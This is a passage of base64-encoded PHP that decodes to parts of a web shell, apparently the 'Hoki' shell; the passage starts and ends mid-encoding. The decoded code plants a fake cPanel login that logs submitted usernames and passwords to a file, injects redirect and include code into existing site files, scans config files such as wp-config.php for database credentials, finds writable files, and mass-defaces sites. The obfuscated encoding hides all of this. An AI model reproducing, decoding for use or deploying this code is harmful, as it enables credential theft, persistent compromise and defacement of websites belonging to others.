NwX2NvZGUgPSAnaWYoZW1wdHkoJHVzZXIpKXtodHRwX3Jlc3BvbnNlX2NvZGUoNDAwKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJtZXNzYWdlIiA9PiAibm9fdXNlcm5hbWUiKSk7fWVsc2V7aHR0cF9yZXNwb25zZV9jb2RlKDQwMSk7fSc7CgkJC
QlpZigkcGFuZWwgIT0gImNwYW5lbCIpewoJCQkJCSRwb3N0X3VzZXIgPSAndXNlcm5hbWUnOwoJCQkJCSRwb3N0X3Bhc3MgPSAncGFzc3dvcmQnOwoJCQkJCSRyZXNwX2NvZGUgPSAnQGhlYWRlcigiTG9jYXRpb246ICIuJF9TRVJWRVJbXCdIVFRQ
X1JFRkVSRVJcJ10pOyc7CgkJCQl9CgoJCQkJJGNwYW5lbF9sb2cgPSAnPD9waHAgJGNvb2tfdGltZSA9IHRpbWUoKSsoODY0MDAgKiA3KTsgJHVzZXIgPSAkX1BPU1RbIicuJHBvc3RfdXNlci4nIl07JHBhc3MgPSAkX1BPU1RbIicuJHBvc3RfcGF
zcy4nIl07aWYoIWVtcHR5KCR1c2VyKSAmJiAhZW1wdHkoJHBhc3MpKXtpZighaXNzZXQoJF9DT09LSUVbIicuJGNvb2tpZV9uYW1lLiciXSkpe0BzZXRjb29raWUoIicuJGNvb2tpZV9uYW1lLiciLCAwLCAkY29va190aW1lLCAiLyIpOyRfQ09PS0
lFWyInLiRjb29raWVfbmFtZS4nIl09MTt9aWYoKGludCkkX0NPT0tJRVsiJy4kY29va2llX25hbWUuJyJdPicuJGNvdW50Licpe0BoZWFkZXIoIkxvY2F0aW9uOiAvIik7ZXhpdDt9QHNldGNvb2tpZSgiJy4kY29va2llX25hbWUuJyIsICgoaW50K
SRfQ09PS0lFWyInLiRjb29raWVfbmFtZS4nIl0gKyAxKSwgJGNvb2tfdGltZSwgIi8iKTskZnAgPSBAZm9wZW4oIicuJGxvZ3RvLiciLCAiYSsiKTtAZndyaXRlKCRmcCwgJHVzZXIgLiAiIDogIiAuICRwYXNzIC4gIlxuIik7ZmNsb3NlKCRmcCk7
c2xlZXAoMyk7Jy4kcmVzcF9jb2RlLidleGl0O30/Pic7CgoJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRmYWtlX3Jvb3QuJy9sb2cucGhwJywgJGNwYW5lbF9sb2cpOwoKCQkJCWlmKCRwYW5lbCA9PSAiY3BhbmVsIil7CgkJCQkJJGZha2UgPSBwcmV
nX3JlcGxhY2UoYXJyYXkoJyM8bGluayguKilocmVmPSIoLiopIiguKik+IycsICcjPGltZyBjbGFzcz0ibWFpbi1sb2dvIiBzcmM9IiguKikiKC4qKT4jJywgJyMgPGEoLiopaWQ9InJlc2V0X3Bhc3N3b3JkIj4jJyksIGFycmF5KCc8bGluayBocm
VmPSInLiR0YXJnZXQuJy8kMiI+JywgJzxpbWcgY2xhc3M9Im1haW4tbG9nbyIgc3JjPSInLiR0YXJnZXQuJy8kMSIgYWx0PSJsb2dvIiAvPicsICc8YSBocmVmPSIjIiBpZD0icmVzZXRfcGFzc3dvcmQiPicpLCAkZmFrZSk7CgkJCQl9CgoJCQkJQ
GZpbGVfcHV0X2NvbnRlbnRzKCRmYWtlX3Jvb3QuJy9pbmRleC5waHAnLCAkZmFrZSk7CgoJCQkJJGluamVjdF9jb2RlID0gJzw/cGhwIGlmKGlzc2V0KCRfR0VUWyI6MjA4MyJdKSYmKGludCkkX0NPT0tJRVsiJy4kY29va2llX25hbWUuJyJdPCcu
JGNvdW50Licpe0BpbmNsdWRlKCInLiRmYWtlX3Jvb3QuJy9pbmRleC5waHAiKTtleGl0O30/Pic7CgkJCQkkYmluZF9vbl9jb2RlID0gJzw/cGhwIGlmKChpbnQpJF9DT09LSUVbIicuJGNvb2tpZV9uYW1lLiciXTwnLiRjb3VudC4nKXtAaGVhZGV
yKCJMb2NhdGlvbjogJy4kdXJpLiciKTtleGl0O30/Pic7CgoJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRpbmplY3RfdG8sICRpbmplY3RfY29kZSAuICJcbiIgLkBmaWxlX2dldF9jb250ZW50cygkaW5qZWN0X3RvKSk7CgkJCQlAZmlsZV9wdXRfY2
9udGVudHMoJGJpbmRfb24sICRiaW5kX29uX2NvZGUgLiAiXG4iIC5AZmlsZV9nZXRfY29udGVudHMoJGJpbmRfb24pKTsKCgkJCQllY2hvICJzdWNjZXNzLi4uISI7CgkJCX1lbHNlewoJCQkJZWNobyAiZmFpbGVkLi4uISI7CgkJCX0KCQl9ZWxzZ
XsKCQkJZWNobygiPGRpdiBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Y29sb3I6cmVkOyc+Q2Fubm90IG9wZW4gdGhlIHRhcmdldC4uLiE8L2Rpdj4iKTsKCQl9Cgl9CgllY2hvICc8L2Rpdj4nOwoJaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhv
a2lhcmNoaXZlX21hbmFnZXIoKXsKCWhva2loZWFkKCk7CgkkZmlsZSA9ICRfUE9TVFsnaG9raTInXTsKCWlmKCFmaWxlX2V4aXN0cygkZmlsZSkpewoJCSRmaWxlID0gJEdMT0JBTFNbJ2N3ZCddOwoJfQoJJHJhbmRfaWQgPSByYW5kKDk5OTksIDk
5OTk5OSk7CgllY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEFyY2hpdmUgTWFuYWdlciB8PC9kaXY+PC9wPic7CgllY2hvICc8Zm9ybSBuYW1lPSJzcmNoIiBvblN1Ym1pdD0iZy
hcJ2FyY2hpdmVfbWFuYWdlclwnLG51bGwsbnVsbCx0aGlzLmZpbGUudmFsdWUsbnVsbCxudWxsLFwnPj5cJyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPgoJPGRpdiBjbGFzcz0idHh0Zm9udCI+CglBcmNoaXZlIGZpbGU6IDxpbnB1d
CBzaXplPSI1MCIgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgdmFsdWU9IicuJGZpbGUuJyI+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7Cglp
ZigkX1BPU1RbJ2hva2k1J109PSc+PicpewoJCS8vZWNobyBfX3ByZSgpOwoJCWVjaG8gJzxocj48ZGl2IHN0eWxlPSJtYXJnaW4tbGVmdDogMTJweDsiIGFyY2hpdmVfZnVsbD0icGhhcjovLycuJGZpbGUuJyIgYXJjaGl2ZV9uYW1lPSInLmJhc2V
uYW1lKCRmaWxlKS4nIiBpZD0iYXJjaGl2ZV9kaXJfJy4kcmFuZF9pZC4nIiBjbGFzcz0iYXJjaGl2ZV9kaXJfaG9sZGVyIj48c3Bhbj5QV0Q6IDwvc3Bhbj48ZGl2IGNsYXNzPSJhcmNoaXZlX3B3ZF9ob2xkZXIiIHN0eWxlPSJkaXNwbGF5OmlubG
luZS1ibG9jayI+PGE+LzwvYT48L2Rpdj48L2Rpdj4nOwoJCWVjaG8gJzxkaXYgc3R5bGU9InBhZGRpbmc6IDEwcHg7IiBpZD0iYXJjaGl2ZV9iYXNlXycuJHJhbmRfaWQuJyI+JzsKCQlfX2hva2lfb3Blbl9hcmNoaXZlX2ZpbGUoJGZpbGUsICRyY
W5kX2lkKTsKCQllY2hvICc8L2Rpdj4nOwoJfQoJZWNobyAnPC9kaXY+JzsKCWhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBfX2hva2lfb3Blbl9hcmNoaXZlX2ZpbGUoJGFyY2gsICRiYXNlX2lkPTApewoJdHJ5ewoJCSRmaWxlcyA9IGFycmF5KCk7
CgkJJGRpcnMgPSBhcnJheSgpOwoJCSRhcmNoaXZlID0gbmV3IFBoYXJEYXRhKCRhcmNoKTsKCQkgZm9yZWFjaCgkYXJjaGl2ZSBhcyAkZmlsZSkgewoJCQkgJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkZml
sZS0+Z2V0UGF0aG5hbWUoKSkpOwoJCSAgICAgaWYoJGZpbGUtPmlzRGlyKCkpIHsKCQkJCSAkZGlyc1tdID0gYXJyYXkoIm5hbWUiID0+ICRmaWxlLT5nZXRGaWxlTmFtZSgpLCAicGF0aCIgPT4gJGZpbGUtPmdldFBhdGhuYW1lKCksICJ0eXBlIi
A9PiAiZGlyIiwgIm1vZGlmeSIgPT4gJGZpbGVfbW9kaWZ5KTsKCQkgICAgIH1lbHNlewoJCQkJICRmaWxlX3NpemUgPSBAZmlsZXNpemUoJGZpbGUtPmdldFBhdGhuYW1lKCkpOwoJCQkJICRmaWxlc1tdID0gYXJyYXkoIm5hbWUiID0+ICRmaWxlL
T5nZXRGaWxlTmFtZSgpLCAicGF0aCIgPT4gJGZpbGUtPmdldFBhdGhuYW1lKCksICJ0eXBlIiA9PiAiZmlsZSIsICAibW9kaWZ5IiA9PiAkZmlsZV9tb2RpZnksICJzaXplIiA9PiAkZmlsZV9zaXplKTsKCQkJIH0KCQkgfQoJCSBmdW5jdGlvbiBf
X2hva2lfb3Blbl9hcmNoaXZlX3Vzb3J0KCRhLCAkYil7CgkJCSByZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJ25hbWUnXSksIHN0cnRvbG93ZXIoJGJbJ25hbWUnXSkpKjE7CgkJIH0KCQkgdXNvcnQoJGRpcnMsICJfX2hva2lfb3Blbl9hcmN
oaXZlX3Vzb3J0Iik7CgkJIHVzb3J0KCRmaWxlcywgIl9faG9raV9vcGVuX2FyY2hpdmVfdXNvcnQiKTsKCQkgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7CgkJIGVjaG8gJzx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9Im1haW
4iIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+PHRib2R5Pjx0cj48dGg+TmFtZTwvdGg+PHRoPlNpemU8L3RoPjx0aD5Nb2RpZnk8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPic7CgkJICRpY29uID0gJzxpbWcgY2xhc3M9ImFyY2hpd
mUtaWNvbnMiIHNyYz0iJy5maW5kaWNvbignLi4nLCdkaXInKS4nIiB3aWR0aD0iMzAiIGhlaWdodD0iMzAiPic7CgkJIGVjaG8gJzx0cj48dGg+PGEgYmFzZV9pZD0iJy4kYmFzZV9pZC4nIiBjbGFzcz0iYXJjaGl2ZS1maWxlLXJvdyIgZm5hbWU9
Ii4uIiBvbmNsaWNrPSJob2tpT3BlbkFyY2hpdmUodGhpcyk7IiBwYXRoPSInLmRpcm5hbWUoJGFyY2guJy5waHAnKS4nIj4nLiRpY29uLic8c3BhbiBjbGFzcz0iYXJjaGl2ZS1uYW1lIGFyY2hpdmUtdHlwZS1kaXIiPnwgLi4gfDwvc3Bhbj48L2E
+PHRkPmRpcjwvdGQ+PHRkPi08L3RkPjx0ZD4tPC90ZD48L3RyPic7CgkJIGZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsKCQkJICRpY29uID0gJzxpbWcgY2xhc3M9ImFyY2hpdmUtaWNvbnMiIHNyYz0iJy5maW5kaWNvbigkZmlsZVsnbmFtZSddLC
RmaWxlWyd0eXBlJ10pLiciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCI+JzsKCQkJIGlmKCRmaWxlWyJ0eXBlIl0gPT0gImRpciIpewoJCQkgCWVjaG8gJzx0cj48dGg+PGEgYmFzZV9pZD0iJy4kYmFzZV9pZC4nIiBjbGFzcz0iYXJjaGl2ZS1maWxlL
XJvdyIgb25jbGljaz0iaG9raU9wZW5BcmNoaXZlKHRoaXMpOyIgcGF0aD0iJy4kZmlsZVsicGF0aCJdLiciIGZuYW1lPSInLiRmaWxlWyJuYW1lIl0uJyI+Jy4kaWNvbi4nPHNwYW4gY2xhc3M9ImFyY2hpdmUtbmFtZSBhcmNoaXZlLXR5cGUtZGly
Ij58ICcuJGZpbGVbIm5hbWUiXS4nIHw8L3NwYW4+PC9hPjx0ZD5kaXI8L3RkPjx0ZD4nLiRmaWxlWyJtb2RpZnkiXS4nPC90ZD48dGQ+LTwvdGQ+PC90cj4nOwoJCSAJfWVsc2V7CgkJCQllY2hvICI8dHI+PHRoPjxhIGJhc2VfaWQ9JyIuJGJhc2V
faWQuIicgY2xhc3M9J2FyY2hpdmUtZmlsZS1yb3cnIG9uY2xpY2s9XCJlZGl0b3IoJyIuJGZpbGVbInBhdGgiXS4iJywnYXV0bycsJycsJycsJycsJ2ZpbGUnKTtcIj4iLiRpY29uLiI8c3BhbiBjbGFzcz0nYXJjaGl2ZS1uYW1lIGFyY2hpdmUtdH
lwZS1maWxlJyBmbmFtZT0nIi4kZmlsZVsibmFtZSJdLiInPiIuJGZpbGVbIm5hbWUiXS4iPC9zcGFuPjwvYT48dGQ+Ii5ob2tpU2l6ZSgkZmlsZVsic2l6ZSJdKS4iPC90ZD48dGQ+Ii4kZmlsZVsibW9kaWZ5Il0uIjwvdGQ+PHRkPi08L3RkPjwvd
HI+IjsKCgkJCX0KCQkgfQoJCSAgZWNobyAnPC90YWJsZT4nOwoJfWNhdGNoKEV4Y2VwdGlvbiAkZSl7CgkJZWNobygiMCIpOwoJfQp9CmZ1bmN0aW9uIGhva2lvcGVuX2FyY2hpdmVfZGlyKCl7CgkkZGlyID0gJF9QT1NUWyJob2tpMSJdOwoJJGJh
c2VfaWQgPSAkX1BPU1RbImhva2kyIl07CglfX2hva2lfb3Blbl9hcmNoaXZlX2ZpbGUoJGRpciwgJGJhc2VfaWQpOwp9CmZ1bmN0aW9uIGhva2ljb25maWdfZ3JhYmJlcigpewoJaG9raWhlYWQoKTsKCWVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjx
jZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQ29uZmlnIEdyYWJiZXIgfDwvZGl2PjwvcD4nOwoJZWNobyAnPGZvcm0gbmFtZT0ic3JjaCIgb25TdWJtaXQ9ImcoXCdjb25maWdfZ3JhYmJlclwnLG51bGwsbnVsbCx0aGlzLm
Rpci52YWx1ZSx0aGlzLmV4dC52YWx1ZSxudWxsLFwnPj5cJyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPgoJPGRpdiBjbGFzcz0idHh0Zm9udCI+CglEaXI6IDxpbnB1dCBzaXplPSI1MCIgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgb
mFtZT0iZGlyIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJyI+CglFeHQ6IDxzbWFsbD48Zm9udCBjb2xvcj0icmVkIj5bICogPSBhbGwgRXh0IF08L2ZvbnQ+PC9zbWFsbD4gPGlucHV0IGlkPSJleHQiIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRl
cjsiIHR5cGU9InRleHQiIG5hbWU9ImV4dCIgc2l6ZT0iNSIgdmFsdWU9InBocCI+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CgkkZGlyID0gJF9QT1NUWydob2t
pMiddOwoJJGV4dCA9ICRfUE9TVFsnaG9raTMnXTsKCWlmKCRfUE9TVFsnaG9raTUnXT09Jz4+Jyl7CgkJZWNobyBfX3ByZSgpOwoJCUhva2lfQ29uZmlnR3JhYmJlcigkZGlyLCAkZXh0KTsKCX0KCWVjaG8gJzwvZGl2Pic7Cglob2tpZm9vdGVyKC
k7Cn0KZnVuY3Rpb24gSG9raV9Db25maWdHcmFiYmVyKCRkaXIsICRleHQpIHsKCSRwYXR0ZXJuID0gIiNkZWZpbmVbIF17MCx9XChbIF17MCx9KD86J3xcIilEQl9IT1NUKD86J3xcIilbIF17MCx9fGRlZmluZVsgXXswLH1cKFsgXXswLH0oPzonf
FwiKURCX0hPU1ROQU1FKD86J3xcIilbIF17MCx9fGNvbmZpZ1xbKD86J3xcIilNYXN0ZXJTZXJ2ZXIoPzonfFwiKVxdXFsoPzonfFwiKXBhc3N3b3JkKD86J3xcIilcXXwoPzonfFwiKWRhdGFiYXNlKD86J3xcIilbIF17MCx9PT5bIF17MCx9KD86
J3xcIikoLio/KSg/Oid8XCIpfCg/Oid8XCIpKG15c3FsfGRhdGFiYXNlKSg/Oid8XCIpWyBdezAsfT0+WyBdezAsfWFycmF5fGRiX25hbWV8ZGJfdXNlcnxkYl9wYXNzfGRiX3NlcnZlcnxkYl9ob3N0fGRiaG9zdHxkYm5hbWV8ZGJ1c2VyfGRicGF
zc3xkYXRhYmFzZV9uYW1lfGRhdGFiYXNlX3VzZXJ8ZGF0YWJhc2VfcGFzc3xteXNxbF91c2VyfG15c3FsX3Bhc3N8bXlzcWxpX2Nvbm5lY3R8bXlzcWxfY29ubmVjdHxuZXdbIF17MCx9bXlzcWxpI2kiOwoJJGRiX2ZpbGVzID0gYXJyYXkoIndwLW
NvbmZpZy5waHAiLCJjb25maWd1cmUucGhwIiwiY29uZmlnLmluYy5waHAiLCJjb25maWd1cmF0aW9uLnBocCIsImNvbmZpZy5waHAiLCJjb25mLnBocCIsImRiY2xhc3MucGhwIiwiY2xhc3NfY29yZS5waHAiLCJkaXN0LWNvbmZpZ3VyZS5waHAiL
CAic2V0dGluZ3MucGhwIiwgImNvbmZfZ2xvYmFsLnBocCIsICJkYi5waHAiLCAiY29ubmVjdC5waHAiLCAiY29uZmluZy5kYi5waHAiLCAiY29uZmlnLmRiLnBocCIsICJkYXRhYmFzZS5waHAiKTsKCWlmKEBpc19yZWFkYWJsZSgkZGlyKSl7CgkJ
JGdsb2JGaWxlcyA9IEBnbG9iKCIkZGlyLyouJGV4dCIpOwoJCSRnbG9iRGlycyAgPSBAZ2xvYigiJGRpci8qIiwgR0xPQl9PTkxZRElSKTsKCQkkYmxhY2tsaXN0ID0gYXJyYXkoKTsKCQlmb3JlYWNoICgkZ2xvYkRpcnMgYXMgJGRpcikgewoJCQl
pZighQGlzX3JlYWRhYmxlKCRkaXIpfHxAaXNfbGluaygkZGlyKSkgY29udGludWU7CgkJCUBIb2tpX0NvbmZpZ0dyYWJiZXIoJGRpciwgJGV4dCk7CgkJfQoJCWZvcmVhY2ggKCRnbG9iRmlsZXMgYXMgJGZpbGUpewoJCQkkZmlsZWUgPSBAZmlsZV
9nZXRfY29udGVudHMoJGZpbGUpOwoJCQlpZihwcmVnX21hdGNoKCRwYXR0ZXJuLCAkZmlsZWUpKXsKCQkJCWVjaG8gIjxkaXY+PHNwYW4+JGZpbGU8L3NwYW4+IDxhIHN0eWxlPSdjdXJzb3I6cG9pbnRlcjsnIG9uY2xpY2s9XCJlZGl0b3IoJyIuJ
GZpbGUuIicsJ2F1dG8nLCcnLCcnLCcnLCdmaWxlJyk7XCI+WyBWaWV3IGZpbGUgXTwvYT48L2Rpdj4iOwoJCQl9CgkJfQoJfQp9CmZ1bmN0aW9uIGhva2lzZWFyY2hlcigpewpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2Vu
dGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFNlYXJjaGVyIHw8L2Rpdj48L3A+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzZWFyY2hlclwnLG51bGwsXCdmaWxlXCcpIj58IEZpbmQgUmVhZGF
ibGUgT3IgV3JpdGFibGUgRmlsZXMgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NlYXJjaGVyXCcsbnVsbCxcJ3N0clwnKSI+fCBGaW5kIEZpbGVzIEJ5IE5hbWUgfCA8L2E+PC9oMz48L2NlbnRlcj4nOwppZi
hpc3NldCgkX1BPU1RbJ2hva2kxJ10pJiYkX1BPU1RbJ2hva2kxJ109PSdmaWxlJyl7CmVjaG8gJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRmluZCBSZWFkYWJsZSBPciBXcml0YWJsZSBGaWxlcyAgfDwvZGl2Pjxicj48Y
nI+PGZvcm0gbmFtZT0ic3JjaCIgb25TdWJtaXQ9ImcoXCdzZWFyY2hlclwnLG51bGwsXCdmaWxlXCcsdGhpcy5maWxlbmFtZS52YWx1ZSx0aGlzLmV4dC52YWx1ZSx0aGlzLm1ldGhvZC52YWx1ZSxcJz4+XCcpO3JldHVybiBmYWxzZTsiIG1ldGhv
ZD1cJ3Bvc3RcJz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+Ck1ldGhvZDogPHNlbGVjdCBzdHlsZT0id2lkdGg6IDE4JTsiIG9uY2xpY2s9Imhva2lfc2VhcmNoZXJfdG9vbCh0aGlzLnZhbHVlKTsiIG5hbWU9Im1ldGhvZCI+PG9wdGlvbiB2YWx1ZT0
iZmlsZXMiPkZpbmQgQWxsIFdyaXRhYmxlIEZpbGVzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZGlycyI+RmluZCBBbGwgV3JpdGFibGUgRGlyczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImFsbCI+RmluZCBBbGwgUmVhZGFibGUgQW5kIFdyaXRhYm
xlIEZpbGVzPC9vcHRpb24+PC9zZWxlY3Q+CkRpcjogPGlucHV0IHNpemU9IjUwIiBpZD0idGFyZ2V0IiB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlbmFtZSIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLiciPgpFeHQ6IDxzbWFsbD48Zm9udCBjb2xvc
j0icmVkIj5bICogPSBhbGwgRXh0IF08L2ZvbnQ+PC9zbWFsbD4gPGlucHV0IGlkPSJleHQiIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIG5hbWU9ImV4dCIgc2l6ZT0iNSIgdmFsdWU9InBocCI+CjxpbnB1dCB0eXBlPSJz
dWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvZGl2PjwvZm9ybT48L2NlbnRlcj48YnI+JzsKJGRpciA9ICRfUE9TVFsnaG9raTInXTsKJGV4dCA9ICRfUE9TVFsnaG9raTMnXTsKJG1ldGhvZCA9ICRfUE9TVFsnaG9raTQnXTsKaWYoJF9QT1N
UWydob2tpNSddPT0nPj4nKXsKZWNobyBfX3ByZSgpOwppZihzdWJzdHIoJGRpciwtMSk9PScvJykkZGlyPXN1YnN0cigkZGlyLDAsLTEpOwpIb2tpX1NlYXJjaGVyKCRkaXIsdHJpbSgkZXh0KSwkbWV0aG9kKTsKfQp9CmlmKCRfUE9TVFsnaG9raT
EnXT09J3N0cicpewplY2hvICc8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEZpbmQgRmlsZXMgQnkgTmFtZSAvIEZpbmQgU3RyaW5nIEluIEZpbGVzIHw8L2Rpdj48YnI+PGJyPjxmb3JtIG9uU3VibWl0PSJnKFwnc2VhcmNoZ
XJcJyxudWxsLFwnc3RyXCcsdGhpcy5kaXIudmFsdWUsdGhpcy5zdHJpbmcudmFsdWUsXCc+PlwnLHRoaXMuZXh0LnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+CjxkaXYgY2xhc3M9InR4dGZv
bnQiPgpNZXRob2Q6IDxzZWxlY3QgbmFtZT0ibWV0aG9kIj48b3B0aW9uIHZhbHVlPSJuYW1lIj5GaW5kIEZpbGVzIEJ5IE5hbWU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzdHIiPkZpbmQgU3RyaW5nIEluIEZpbGVzPC9vcHRpb24+PC9zZWxlY3Q
+ClN0cmluZzogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN0cmluZyIgdmFsdWU9IiI+CkRpcjogPGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXIiIHZhbHVlPSInLiRHTE9CQUxTWydjd2QnXS4nIj4KRXh0OiA8c21hbGw+PG
ZvbnQgY29sb3I9InJlZCI+WyAqID0gYWxsIEV4dCBdPC9mb250Pjwvc21hbGw+IDxpbnB1dCBpZD0iZXh0IiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBuYW1lPSJleHQiIHNpemU9IjUiIHZhbHVlPSJwaHAiPgo8aW5wd
XQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CiRkaXIgPSAkX1BPU1RbJ2hva2kyJ107CiRzdHJpbmcgPSAkX1BPU1RbJ2hva2kzJ107CiRleHQgPSAkX1BPU1RbJ2hva2k1J107
CmlmKCFlbXB0eSgkc3RyaW5nKSBBTkQgIWVtcHR5KCRkaXIpIEFORCAkX1BPU1RbJ2hva2k0J10gPT0gJz4+Jyl7CmVjaG8gX19wcmUoKTsKSG9raV9TdHJTZWFyY2hlcigkZGlyLCRzdHJpbmcsJGV4dCwkX1BPU1RbJ2hva2k2J10pOwp9Cn0KZWN
obyAnPC9kaXY+JzsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2lNYXNzRGVmYWNlcigpewpob2tpaGVhZCgpOwpIb2tpTnVtKDUsNiw3LDgsOSwxMCk7CmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndH
h0Zm9udF9oZWFkZXInPnwgTWFzcyBEZWZhY2VyIHw8L2Rpdj48L3A+PGZvcm0gb25TdWJtaXQ9XCJnKCdNYXNzRGVmYWNlcicsbnVsbCx0aGlzLm1hc3NkaXIudmFsdWUsdGhpcy5kZWZwYWdlLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlLCc+PicpO
3JldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPiI7CmVjaG8gJzxkaXYgY2xhc3M9InR4dGZvbnQiPkRlZmFjZSBNZXRob2Q6IDxzZWxlY3QgbmFtZT0ibWV0aG9kIj48b3B0aW9uIHZhbHVlPSJpbmRleCI+RGVmYWNlIEluZGV4IERpcnM8L29w
dGlvbj48b3B0aW9uIHZhbHVlPSJhbGwiPkFsbCBGaWxlczwvb3B0aW9uPjwvc2VsZWN0PgoJTWFzcyBkaXI6IDxpbnB1dCBzaXplPSI1MCIgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgbmFtZT0ibWFzc2RpciIgdmFsdWU9IicuaHRtbHNwZWNpYWx
jaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgoJRGVmUGFnZTogPGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJkZWZwYWdlIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+PC9kaXY+IDxpbnB1dC
B0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvY2VudGVyPjwvcD4KPC9mb3JtPic7CiRkaXIgPSAkX1BPU1RbJ2hva2kxJ107CiRkZWZwYWdlID0gJF9QT1NUWydob2tpMiddOwokbWV0aG9kID0gJF9QT1NUWydob2tpMyddOwokZ
kN1cnJlbnQgPSAkR0xPQkFMU1snX19maWxlX3BhdGgnXTsKaWYoJF9QT1NUWydob2tpNCddID09ICc+PicpewppZighZW1wdHkoJGRpcikpewppZihAaXNfZGlyKCRkaXIpKXsKaWYoQGlzX3JlYWRhYmxlKCRkaXIpKXsKaWYoQGlzX2ZpbGUoJGRl
ZnBhZ2UpKXsKaWYoJGRoID0gQG9wZW5kaXIoJGRpcikpewplY2hvIF9fcHJlKCk7CndoaWxlICgoJGZpbGUgPSBAcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpewppZigkZmlsZSA9PSAnLi4nIHx8ICRmaWxlID09ICcuJyljb250aW51ZTsKJG5ld2Z
pbGU9JGRpci4kZmlsZTsKaWYoJGZDdXJyZW50ID09ICRuZXdmaWxlKWNvbnRpbnVlOwppZihAaXNfZGlyKCRuZXdmaWxlKSl7Ckhva2lfUmVhZERpcigkbmV3ZmlsZSwkbWV0aG9kLCRkZWZwYWdlKTsKfWVsc2V7CmlmKCFAaXNfd3JpdGFibGUoJG
5ld2ZpbGUpKWNvbnRpbnVlOwppZighQGlzX3JlYWRhYmxlKCRuZXdmaWxlKSljb250aW51ZTsKSG9raV9SZXdyaXRlcigkbmV3ZmlsZSwkZmlsZSwkZGVmcGFnZSwkbWV0aG9kKTsKfQp9CmNsb3NlZGlyKCRkaCk7Cn1lbHNle19fYWxlcnQoJzxmb
250IGNvbG9yPSJyZWQiPkVycm9yIEluIE9wZW5EaXIuLi48L2ZvbnQ+Jyk7fQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5EZWZQYWdlIEZpbGUgTm90Rm91bmQuLi48L2ZvbnQ+Jyk7fQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xv
